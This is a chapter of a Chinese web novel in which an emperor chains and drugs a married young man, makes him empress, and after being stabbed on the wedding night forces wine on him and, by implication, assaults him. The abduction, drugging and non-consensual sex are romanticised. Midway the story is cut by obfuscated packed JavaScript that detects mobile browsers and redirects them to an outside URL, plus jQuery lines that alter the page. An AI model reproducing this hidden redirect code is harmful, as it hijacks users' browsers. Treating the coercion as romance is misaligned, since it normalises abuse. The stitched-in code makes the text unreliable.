腊月十八,黄道吉日,宜嫁娶。
一年前的时候,差不多也在这个时节,庾家那位小将军娶了时家的公子。
一年后,京中再次挂满红绸,十里红妆,炮竹震天。
空悬多年的后位总算等来了人,虽不知是哪家的小姐,却颇得帝王宠爱。皇帝颁布立后旨意时,朝上里里外外跪满劝他三思的大臣,有些性情刚硬的甚至以撞柱威胁,金銮殿上血溅三尺,却没能动摇帝王决心。
得知这件事的人纷纷摇头,觉得英明多年的帝王败于美色,无比昏聩,有文人写诗暗讽新后狐颜媚主祸国殃民,第二日就被禁军带走,一时间,这位神秘的新后成了不能谈论的禁忌。
百姓们到对此事并无多少看法,最多好奇一些会是何等的美人将皇帝迷得晕头转向,为“她”冲冠一怒。
天才大亮,冬日的阳光冷冷照在地上。太极殿前,百级长阶俱以红毯铺就,青铜香炉立在两旁,袅袅青烟盘旋而上。
往下站着文武百官,恭敬低头。红毯尽头,几十名绛衣太监稳稳抬着顶镶金轿子,仪仗长长一队,由提着宫灯的宫女引在前头。
轿帘并非寻常红绸,是由万金难求的鲛绡做成,在阳光的照射下泛着层绚丽光彩。帘角坠着细小金铃,随着轿子移动发出清脆声响。
阳光晃过,轿顶雕刻的金凤折射出一道冰冷的光。
萧景昭站在阶前,看着那道在鲛纱下若隐若现的身影,负在身后的的手慢慢握紧。
仪仗一直行到帝王面前,太监们放下轿,有宫女将轿帘往两边分开,露出里面穿着金红凤袍的人。
百官静默,有人悄悄抬头去看,却见纱帘下的那人坐在里面并未挪动,心中不免有些奇怪。
萧景昭松了握拳的手,几步来到轿辇跟前,伸手将人搀了出来。
这番举动看得人心头大骇——这,这根本不合规矩!
轿中的人被帝王扶出来时像是站不稳,在轿前踉跄一下,被帝王小心搂入怀中。
萧景昭半扶着他,一阶阶拾级而上。明明轿子已经停了,却还能听到细微的清脆声响,越来越多的大臣按不住好奇,小心抬起头来,便看见被帝王搀扶的人身姿纤瘦,弱不胜衣,一把小腰细得厉害,甚至填不满腰间玉带。
新后全身遮盖严实,只有被萧景昭扶住的手露了出来,能看出骨骼纤细,肌肤雪白,每根手指都漂亮得令人心惊,足可见面帘之下,该是怎样一副美人皮相。
视线凝在那道身影上,再难移开。有人咽了咽口水,将目光缓缓下移,看着那人近乎半倚在帝王身上,脚下步伐凌乱,看着气弱无力。
冷肃寒风下,有什么东西闪了一下,那人定睛看去,发现软软倚靠在帝王身边的美人,衣衫下隐隐露出一截金色锁链。
那人连忙低头,心中却慢慢涌上一股难言的恐惧——传言狐媚惑主的妖后,竟然是被帝王强掳进宫的?
他忍不住又抬了抬眼,想再去确认一番,却倏然对上萧景昭冰冷的眼神!
“!!”
偷看的众人顿时一惊,才发现不知何时帝王和皇后已经走到台上。新后还是被皇帝搂着腰扶在怀里,捧着金册宝玺的礼部尚书面色难看,半晌,年迈的老人沉闷道:“请娘娘接过凤印。”
穿着绣金凤袍的人仍然没动,气氛一时安静得诡异,有人逐渐品出些不对,联合之前瞥到的一角金锁,瞬间冷汗直流。
萧景昭是最清楚发生了什么的,他怜惜地碰了下怀中人的面颊,随即伸手去接凤印,礼部尚书面色一变,慌忙跪下:“陛,陛下!这不合礼数!”
萧景昭没管他,强硬将金册拿了过去,递给一旁候着的太监。
他带着怀里柔弱的美人转过身,有机灵的已经撩袍跪下,紧接着便跪倒一片大臣,震天入云的恭贺声响起——
“吾皇万岁万岁万万岁,皇后千岁千岁千千岁!”
-
烛火微明,景和殿内布置得一片喜庆。
宫宴刚刚结束,萧景昭情绪高涨,多喝了两杯。他脚下有些不稳地进了殿,看见端坐在龙床上的时微,心中不由有些高兴。
年轻的帝王坐到时微身边,牵起少年的手放在唇边吻了一下,问道:“等了这么久?有没有无聊?”
因着时微体弱,今天又被灌了软筋散,萧景昭不敢让他走那么多复杂繁琐的仪式,因此早早送时微回了寝宫,自己一人应付宫宴。
时微低垂眼睫,沉重凤冠早早从头上取下,他今日上了点妆,原本有些苍白的唇被点了胭脂,散了原本三分病弱气,在幽幽烛火下显得格外娇俏。
萧景昭越看越喜欢,他摩挲着时微的面颊,捏着光滑的下巴吻了上去。
朱红胭脂在辗转间晕染开,将那张雪白小脸涂抹得一片凌乱,时微任由萧景昭亲吻,男人一路深吻下去,按着时微的肩膀将人推在床上,倾身覆了上去。
这是萧景昭难得温柔的亲吻,时微敛着眼眸,没有回应萧景昭的亲昵。
一片旖旎中,男人逐渐贴近的身躯骤然一顿。
腹中传来一阵尖锐刺痛,萧景昭定定看着时微的脸,良久,视线缓缓下移——时微手里握着把闪着森冷寒光的匕首,银白的刀刃没入一半在他腹腔。
鲜红的血从伤处蔓延开来,洇湿赤红喜服。
其实是不大看得出来的。
萧景昭想,他估计是没救了。
因为此刻,他看着时微握着匕首雪白颤抖的双手,冒出的想法,竟然是觉得就算到了如此地步,时微的手,还是漂亮得令人心颤。
他想及此,竟然笑了一声,虽然听不出这声笑里有多少真实的意味。
“时微,”萧景昭道,“你这是在行刺。”
时微的手抖得更加厉害,他骨节寸寸伸直,将手从刀柄上松开,匕首竟然还能稳稳插在萧景昭肉里,可见时微下手有多用力。
明明被刺的是萧景昭,时微的脸色却比他还要苍白,秀美的少年眼中聚满水光,隔了许久,萧景昭终于又看到了他的眼泪。
晶莹的泪珠滚滚落下,沾湿时微精致的面庞,他泣不成声,一遍遍向萧景昭道歉:“对,对不起……对不起……”
孱弱的肩膀细细颤抖,时微手上沾了几滴萧景昭的鲜血,艳色逼人,楚楚的可怜与挥刀伤人的攻击性杂糅在一起,塑造出他此刻奇异的美。
时微哭泣着,向萧景昭重复着道歉,他抓紧身下的褥单,语调哽咽:“……我真的,真的不能和你在一起……”
“放过我吧,求你,这样对我们都好……”
萧景昭闭了闭眼。
这些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863771|171793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天,他听了无数遍这样的话。时微很倔强,是真的拿了拼死的念头在抵触他。
明明是十分弱小的存在,却从不放弃地尝试逃跑,盛怒的萧景昭拿金链锁住他的双脚,用软筋散弄软他的骨头,却仍然在最后关头被捅了一刀。
闹到这个地步,萧景昭此时甚至心平气和,他替时微擦去眼泪,沉声问道:“放过你?让你回到你的丈夫怀里?”
“时微,你想都不要想。”
他说,“如果是我先遇上你,庾祁之根本不会有见到你的机会。”
时微泪眼朦胧地看着他,心想,这种假设从一开始就不可能存在。
萧景昭却完全沉浸在了自己的世界里,他当真起了真情实感,将庾祁之视为插足时微与自己之间的第三者,神色逐渐扭曲:“你被庾祁之的花言巧语骗了,他这个卑鄙小人,朕早就该杀了他——”
“不许这样说夫君!”
时微大声打断他。
一双剔透的眼睛瞪得圆圆的,像只被惹毛的炸毛小猫。
很可爱,但不是为了他。
萧景昭心中涌上酸涩的怒火。
他猛地掐住时微的脸颊,看见那双粉唇嘟起一点,柔软的脸肉在他指下被掐出几道红色指印,萧景昭胸膛剧烈起伏,冷笑着道:“胆子大了,敢跟我发火了。”
时微没说话,萧景昭气过后,又自己冷静下来,“没事,胆子大了好。”
他像被气得得了失心疯,时微呼吸的动静都弱了弱,却见萧景昭坐起身。
男人腰上还插着那把刀子,往下淅淅沥沥滴着血,时微看得一阵心惊胆战。
萧景昭勾了两个酒杯回来,扳着时微的手指将杯子塞进他掌心。萧景昭强硬握住时微的手,二人双臂交缠,金樽抵在时微唇珠上,微凉的酒液从中渗了进去。
时微很快意识到这是什么——萧景昭要和他喝合卺酒。
他连忙闭上唇,下一秒被萧景昭强行伸入的手指撑开,男人几乎是将满杯的酒灌进他的喉咙,时微仰着脖颈仓促吞咽着,来不及被咽下的酒液从他的嘴角溢出,沿着光洁姣美的脖子滑进衣襟。
“咳,咳咳……”等萧景昭将一整杯酒灌进去后,时微的脸已经有些潮红,灼热的酒气蒸得他面若桃李,萧景昭单手捧着他脸,拇指重重擦过唇瓣,随即偏头又吻了下去。
浓郁的酒香蔓延在二人唇齿,萧景昭吻得很深,时微被他逼得节节败退,到最后只能弱弱地呜咽。
萧景昭按着他的脑袋,单膝抵上床开始解时微的衣服。
“这么喜欢叫庾祁之,一会儿我们夫妻洞房时你便多叫几声。”
男人与他头抵着头,时微清楚地看清他眼底的偏执。
…………
时微受不住力,早早晕了过去,雪白小脸上一片狼籍。萧景昭将他汗湿的发撩到耳后,又去摸时微的额头,果然,又开始有些烫。
他脸上露出些懊恼,叫人进来送了水和药,亲手将时微清理干净后,端起药碗,确定放得温热才舀起一勺,想了想,先放到自己口中。
冲天的苦味一下炸开在整个口腔,萧景昭皱了下眉,扶着时微的后脑,唇贴着唇将药送了进去。
“怪不得你不爱喝药……”他抵着时微的额头,轻轻说道,“原来这般苦。”